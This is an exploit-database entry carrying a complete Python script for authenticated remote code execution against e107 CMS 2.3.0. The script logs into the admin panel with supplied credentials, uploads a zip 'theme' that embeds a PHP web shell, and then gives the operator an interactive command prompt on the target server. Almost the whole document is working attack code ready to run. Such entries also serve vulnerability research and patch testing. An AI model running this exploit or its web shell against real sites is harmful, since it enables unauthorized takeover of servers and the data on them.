e107 CMS 2.3.0 Shell Upload

2021.09.24
Credit: Halit Akaydin
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated) # Date: 21-09-2021 # Exploit Author: Halit AKAYDIN (hLtAkydn) # Vendor Homepage: https://e107.org/ # Software Link: https://e107.org/download # Version: 2.3.0 # Category: Webapps # Tested on: Linux/Windows # e107 is a free website content management system # Includes an endpoint that allows remote access # Theme page is misconfigured, causing security vulnerability # User information with sufficient permissions is required. # The contents of the upload "malicious.zip" file must be too long to read to bypass some security measures! # Example: python3 exploit.py -u http://example.com -l admin -p Admin123 # python3 exploit.py -h from time import sleep import requests import argparse def main(): parser = argparse.ArgumentParser( description='e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)' ) parser.add_argument('-u', '--host', type=str, required=True) parser.add_argument('-l', '--login', type=str, required=True) parser.add_argument('-p', '--password', type=str, required=True) args = parser.parse_args() print("\ne107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)", "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n") host(args) def host(args): #Check http or https if args.host.startswith(('http://', 'https://')): print("[?] Check Url...\n") sleep(2) args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass else: print("\n[?] Check Adress...\n") sleep(2) args.host = "http://" + args.host args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass # Check Host Status try: response = requests.get(args.host) if response.status_code != 200: print("[-] Address not reachable!") sleep(2) exit(1) else: check(args) except requests.ConnectionError as exception: print("[-] Address not reachable!") sleep(2) exit(1) def check(args): response = requests.get(args.host + "/e107_themes/payload/payload.php?cmd=whoami") if response.status_code == 200: print("[*] Exploit File Exists!\n") sleep(2) exploit(args) else: login(args) def login(args): url = args.host + "/e107_admin/admin.php" headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": args.host, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/e107_admin/admin.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } data = {"authname": args.login, "authpass": args.password, "authsubmit": "Log In"} response = requests.post(url, headers=headers, data=data, allow_redirects=False) new_cookie = response.cookies.get("MySi_cookieSID") if (response.headers.get("Location") == "admin.php?failed"): print("[-] Login Failed...\n") print("Your username or password is incorrect.") sleep(2) exit(1) else: print("[+] Success Login...\n") sleep(2) install(args, new_cookie) def install(args, new_cookie): url = args.host + "/e107_admin/theme.php" cookies = { "MySi_cookieSID": new_cookie, "e107_tzOffset": "-180"} headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": args.host, "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/e107_admin/theme.php?mode=main&action=upload", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } data = "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n2097152\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"ac\"\r\n\r\n005cd2159fa5342883b18a46726a908d\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file_userfile[]\"; filename=\"payload.zip\"\r\nContent-Type: application/zip\r\n\r\nPK\x03\x04\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00payload/PK\x03\x04\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00\x00\x00payload/payload.php\xb3\xb1/\xc8(P\xc8L\xd3\xc8,.N-\xd1P\x89ww\r\x89VO\xceMQ\x8f\xd5\xd4\xacVP\x01\xb2\x14l\x15P\xc5\xad\x15\x8a+\x8bKRs5@\xb2@^Jf\xaa\xb5B\xad\x82\xbd\x1d\x00PK\x01\x02?\x03\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00$\x00\x00\x00\x00\x00\x00\x00\x10\x80\xedA\x00\x00\x00\x00payload/\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xaf\x9b\xc4\xe5\xae\xd7\x01\x80E4\xc5\xe5\xae\xd7\x01\x00\xaf\x9b\xc4\xe5\xae\xd7\x01PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81&\x00\x00\x00payload/payload.php\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x80/\x99\xe6\xed\xae\xd7\x01\x008\xa1x\xee\xae\xd7\x01\x80/\x99\xe6\xed\xae\xd7\x01PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xbf\x00\x00\x00\x95\x00\x00\x00\x00\x00\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\n1\r\n------WebKitFormBoundary--\r\n" response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False) if (response.status_code == 301): print("[!] Unauthorized user!\n\n") print("Requires user with add theme permissions.") sleep(2) exit(1) else: print("[!] Upload Vuln File!\n") sleep(2) exploit(args) def exploit(args): print("[+] Exploit Done!\n") sleep(2) while True: cmd = input("$ ") url = args.host + "/e107_themes/payload/payload.php?cmd=" + cmd headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0" } response = requests.post(url, headers=headers, timeout=5) if response.text == "": print(cmd + ": command not found\n") else: print(response.text) if __name__ == '__main__': main()


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top